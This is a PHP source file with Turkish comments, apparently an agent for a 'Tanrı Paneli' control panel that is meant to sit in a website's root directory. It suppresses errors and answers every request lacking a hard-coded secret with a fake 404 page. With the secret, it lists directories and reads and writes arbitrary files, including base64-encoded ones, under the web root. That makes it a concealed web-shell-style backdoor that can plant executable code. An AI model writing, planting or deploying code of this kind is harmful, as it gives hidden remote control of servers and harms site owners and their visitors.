<?php
/**
 * Tanrı Paneli istasyon dosyası. Sürüm 1.2.0.
 * Kök dizine tanri_agent.php olarak konur.
 * PHP 5.4, 5.6, 7 ve 8 ile çalışır.
 * Yetkisiz istek 404 görür. Panel gizli anahtarla ping ve dosya yazar.
 */
@ini_set('display_errors', '0');
@error_reporting(0);

if (!function_exists('hash_equals')) {
    function hash_equals($known, $user) {
        if (!is_string($known) || !is_string($user)) return false;
        $knownLen = strlen($known);
        $userLen = strlen($user);
        if ($knownLen !== $userLen) return false;
        $diff = 0;
        for ($i = 0; $i < $knownLen; $i++) {
            $diff |= ord($known[$i]) ^ ord($user[$i]);
        }
        return $diff === 0;
    }
}

if (!function_exists('http_response_code')) {
    function http_response_code($code = null) {
        if ($code !== null) {
            $text = 'OK';
            if ($code === 404) $text = 'Not Found';
            if ($code === 400) $text = 'Bad Request';
            if ($code === 500) $text = 'Internal Server Error';
            header('X-PHP-Response-Code: ' . $code, true, $code);
            header('Status: ' . $code . ' ' . $text, true, $code);
        }
        return $code;
    }
}

define('TANRI_AGENT_SECRET', '517ba3c03736a1c645436fe2f7959a574426c516563c0f3f');
define('TANRI_AGENT_VERSION', '1.2.0');

function tanri_root() {
    return dirname(__FILE__);
}

function tanri_fail($code) {
    http_response_code($code);
    header('Content-Type: text/html; charset=UTF-8');
    echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1></body></html>';
    exit;
}

function tanri_json($data, $code) {
    if (!function_exists('json_encode')) tanri_fail(404);
    http_response_code($code);
    header('Content-Type: application/json; charset=UTF-8');
    $encoded = json_encode($data);
    if ($encoded === false) $encoded = '{"ok":false,"error":"Cevap yazilamadi."}';
    echo $encoded;
    exit;
}

function tanri_header_value($name) {
    $key = 'HTTP_' . strtoupper(str_replace('-', '_', $name));
    if (isset($_SERVER[$key]) && is_string($_SERVER[$key])) return $_SERVER[$key];
    $redirect = 'REDIRECT_' . $key;
    if (isset($_SERVER[$redirect]) && is_string($_SERVER[$redirect])) return $_SERVER[$redirect];
    if (function_exists('getallheaders')) {
        $headers = getallheaders();
        if (is_array($headers)) {
            foreach ($headers as $header => $value) {
                if (strcasecmp($header, $name) === 0 && is_string($value)) return $value;
            }
        }
    }
    return '';
}

function tanri_body() {
    $raw = '';
    $input = @file_get_contents('php://input');
    if (is_string($input) && $input !== '') $raw = $input;
    if ($raw === '' && isset($GLOBALS['HTTP_RAW_POST_DATA']) && is_string($GLOBALS['HTTP_RAW_POST_DATA'])) {
        $raw = $GLOBALS['HTTP_RAW_POST_DATA'];
    }
    $json = array();
    if ($raw !== '' && function_exists('json_decode')) {
        $decoded = json_decode($raw, true);
        if (is_array($decoded)) $json = $decoded;
    }
    if (!isset($json['action']) && isset($_POST['action'])) $json['action'] = $_POST['action'];
    if (!isset($json['secret_key']) && isset($_POST['secret_key'])) $json['secret_key'] = $_POST['secret_key'];
    if (!isset($json['payload']) && isset($_POST['payload'])) {
        if (is_array($_POST['payload'])) $json['payload'] = $_POST['payload'];
        else if (function_exists('json_decode')) {
            $payload = json_decode($_POST['payload'], true);
            if (is_array($payload)) $json['payload'] = $payload;
        }
    }
    return $json;
}

function tanri_secret() {
    $json = tanri_body();
    $header = tanri_header_value('X-Tanri-Secret');
    $body = '';
    if (isset($json['secret_key']) && is_string($json['secret_key'])) $body = $json['secret_key'];
    $given = $header !== '' ? $header : $body;
    $secret = TANRI_AGENT_SECRET;
    if (!is_string($given) || !is_string($secret) || strlen($secret) !== 48 || !hash_equals($secret, $given)) {
        tanri_fail(404);
    }
    return $json;
}

function tanri_path($rel) {
    $rel = str_replace('\\', '/', (string) $rel);
    $rel = ltrim($rel, '/');
    if ($rel === '' || strpos($rel, '..') !== false) tanri_json(array('ok' => false, 'error' => 'Yol gecersiz.'), 400);
    $root = realpath(tanri_root());
    if ($root === false) $root = tanri_root();
    $root = rtrim(str_replace('\\', '/', $root), '/');
    $full = $root . '/' . $rel;
    $parent = realpath(dirname($full));
    if ($parent === false) $parent = $root;
    $parent = rtrim(str_replace('\\', '/', $parent), '/');
    if (strpos($parent, $root) !== 0) tanri_json(array('ok' => false, 'error' => 'Yol kokun disinda.'), 400);
    return $full;
}

if (PHP_VERSION_ID < 50400 || !function_exists('json_decode') || !function_exists('json_encode')) {
    tanri_fail(404);
}

$json = tanri_secret();
$action = isset($json['action']) ? $json['action'] : 'ping';
$payload = (isset($json['payload']) && is_array($json['payload'])) ? $json['payload'] : array();

if ($action === 'ping') {
    tanri_json(array(
        'ok' => true,
        'status' => 'online',
        'agent_version' => TANRI_AGENT_VERSION,
        'php' => PHP_VERSION,
        'writable' => is_writable(tanri_root())
    ), 200);
}

if ($action === 'list_files') {
    $dir = isset($payload['path']) && $payload['path'] !== '' ? tanri_path($payload['path']) : tanri_root();
    if (!is_dir($dir)) tanri_json(array('ok' => false, 'error' => 'Klasor yok.'), 404);
    $names = scandir($dir);
    $files = array();
    if (is_array($names)) {
        foreach ($names as $name) {
            if ($name === '.' || $name === '..') continue;
            $files[] = $name;
            if (count($files) >= 200) break;
        }
    }
    tanri_json(array('ok' => true, 'files' => $files), 200);
}

function tanri_rel($payload) {
    if (isset($payload['path']) && $payload['path'] !== '') return $payload['path'];
    if (isset($payload['filename']) && $payload['filename'] !== '') return $payload['filename'];
    return '';
}

if ($action === 'read_file') {
    $path = tanri_path(tanri_rel($payload));
    if (!is_file($path)) tanri_json(array('ok' => false, 'error' => 'Dosya yok.'), 404);
    $body = file_get_contents($path);
    if ($body === false || strlen($body) > 500000) tanri_json(array('ok' => false, 'error' => 'Dosya okunamadi.'), 400);
    tanri_json(array('ok' => true, 'status' => 'success', 'content' => $body), 200);
}

if ($action === 'write_file') {
    $rel = tanri_rel($payload);
    $path = tanri_path($rel);
    $content = isset($payload['content']) ? (string) $payload['content'] : '';
    if (strlen($content) > 1500000) tanri_json(array('ok' => false, 'error' => 'Dosya buyuk.'), 400);
    if (isset($payload['encoding']) && $payload['encoding'] === 'base64') {
        $decoded = base64_decode($content, true);
        if ($decoded === false) tanri_json(array('ok' => false, 'error' => 'Dosya cozulmedi.'), 400);
        $content = $decoded;
    }
    $folder = dirname($path);
    if (!is_dir($folder) && !@mkdir($folder, 0755, true) && !is_dir($folder)) {
        tanri_json(array('ok' => false, 'error' => 'Klasor acilamadi.'), 500);
    }
    if (file_put_contents($path, $content) === false) tanri_json(array('ok' => false, 'error' => 'Yazilmadi.'), 500);
    tanri_json(array('ok' => true, 'status' => 'success', 'path' => $rel), 200);
}

tanri_json(array('ok' => false, 'error' => 'Bilinmeyen islem.'), 400);
